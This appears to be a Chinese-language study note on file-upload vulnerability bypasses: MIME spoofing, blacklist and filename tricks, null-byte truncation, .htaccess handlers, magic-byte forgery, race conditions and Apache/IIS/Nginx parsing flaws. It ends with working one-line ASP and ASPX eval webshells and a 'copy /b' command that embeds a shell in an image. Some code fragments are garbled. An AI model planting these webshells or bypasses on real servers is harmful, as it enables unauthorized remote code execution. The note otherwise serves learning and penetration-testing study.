真的很基础!
不懂得:9、11
大体思路
- 抓包绕过前端检测
- 修改MIME类型绕过服务器检测
对于黑名单
- 遍历后缀名
- 改变大小写
- 尝试后缀首尾加空格
- 很严格的黑名单:上传.htaccess
- 利用特殊文件名特性
对于净化
- 双写绕过(.pphphp)
对于文件类型检测
- 幻数绕过
- 内容绕过
- 攻击解析器
条件竞争漏洞
WebServer解析漏洞
CMS、编辑器漏洞
配合文件包含漏洞
常规bypass
操作系统命名规则绕过
- 上传不符合windows文件命名规则的文件名
'.' , ' ' , ':' ,'::$DATA'
都被windows认为是不合法文件名,会进行去除。
注意,最后的::$DATA
是一个整体,只能使用这个,不能把DATA换成其他名称。
test.asp.
test.asp(空格)
test.php:1.jpg
test.php::$DATA
会被windows系统自动去掉不符合规则符号后面的内容。
- linux下后缀名大小写
在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。
0x00绕过
这是一种组合逻辑漏洞。
Name = getname(http requests)//假如这一步获取到的文件名是dama.asp .jpg
Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件
If(type == jpg)
SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以dama.asp存入路径里
注意:POST不会像GET一样自动解码%00,所以要在二进制中修改。
上传.htaccess绕过
如果黑名单过滤的非常彻底,我们可以采用将其他类型文件解析成php的方式。.htaccess文件就是用来标记解析方式的文件,上传我们操控的这个文件即可。
该文件仅在Apache平台上存在,IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:
SetHandler application/x-httpd-php
保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”_php.gif”字符串的,统一按照php文件来执行。该文件在Apache里默认是启用的,然后就可以上传一个带一句话木马的文件,例如a_php.gif,会被当成php执行。
如果使用这种写法:SetHandler application/x-httpd-php
,那么所有文件都会被解释成为php。
文件内容检测绕过
1. 文件幻数检测:
JPG : FF D8 FF E0 00 10 4A 46 49 46
GIF : 47 49 46 38 39 61
PNG: 89 50 4E 47
字符串表示:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
以下的函数都是通过检测幻数来判断文件类型的,在文件幻数后面加上自己的一句话木马就行了
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
switch($typeCode){
case 255216: $fileType = 'jpg';break;
case 13780: $fileType = 'png';break;
case 7173: $fileType = 'gif';break;
default: $fileType = 'unknown';
}
return $fileType;
}
getimagesize($filename)
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
exif_imagetype($filename)
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
2. 文件相关信息检测:
一般就是检查图片文件的大小,图片文件的尺寸之类的信息。
绕过方法:
伪造好文件幻数,在后面添加一句话木马之后,再添加一些其他的内容,增大文件的大小。
3. 文件加载检测:
一般是调用API或者函数去进行文件加载测试,常见的是图像渲染测试,再变态一点的甚至是进行二次渲染。
绕过方法:
针对渲染加载测试:代码注入绕过
针对二次渲染测试:攻击文件加载器
通常,对于文件内容检查的绕过,就是直接用一个结构完整的文件进行恶意代码注入即可。
条件竞争漏洞
这个漏洞是由于并发处理不当造成。
在copy和unlink之间,如果发起了访问,服务器来不及删除。此时执行脚本,生成shell文件,就可以持久化一句话木马在Web服务器中。
WebServer解析漏洞
学习链接
Apache解析漏洞
- 扩展名从右往左解析漏洞
一个文件名为xxx.x1.x2.x3的文件(例如:index.php.emmm),Apache会从x3的位置往x1的位置开始尝试解析。
如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样一直往前尝试,直到遇到一个能解析的扩展名为止。
因此,shell.php.emmm
会被解析成php文件。 - 配置问题导致漏洞(一)
如果在 Apache 的 conf 里有这样一行配置
AddHandler php5-script .php
这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
- 配置问题导致漏洞(二)
如果在 Apache 的 conf 里有这样一行配置
AddType application/x-httpd-php .jpg
即使扩展名是 jpg,一样能以 php 方式执行。
解决方案:配置文件中加入
Order Allow,Deny
Deny from all
IIS解析漏洞
IIS6.0
文件类型
正常:www.xxx.com/logo.jpg
触发漏洞:www.xxx.com/logo.asp;.jpg
按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么logo.php;.jpg也会被当成PHP文件执行)文件夹类型
正常:www.xxx.com/image/logo.jpg
触发漏洞:www.xxx.com/image.asp/logo.jpg
按照Ⅰ来访问logo.jpg,文件会被当成是jpg图片来解析,想办法,能够按照Ⅱ来访问logo.jpg,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么image.php文件夹下的文件也会被当做PHP文件解析。)
IIS7.0以上
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。(例如:webshell.jpg/x.php)
IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)
IIS的解析漏洞不像Apache那么模糊,针对IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi 的漏洞, 所以其实跟IIS自身是无关的。
Nginx解析漏洞
目前Nginx主要有这两种漏洞:
a.一个是对任意文件名,在后面添加”/任意文件名.php”的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
b.低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
Nginx0.5.
Nginx0.6.
Nginx0.7. <= 0.7.65
Nginx0.8. <= 0.8.37
对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi的漏洞,所以其实跟Nginx自身是无关的。
配合文件包含
可以先上传一个含有木马的其他类型(txt等)文件,然后通过文件包含将这个文件包含进来。此时,上传的木马文件会被当做php代码解释。
//index.php
");
include("inc.txt");
echo("OK."."");
?>
//inc.txt
");
?>
CMS漏洞
WAF绕过
一句话总结
php
asp
<% eval request(“lzx”)%>
aspx
<%@ Page Language="Jscript"%><%eval(Request.Item["lzx"],"unsafe");%>
过狗
图片木马
copy /b uplode.jpg+shell.php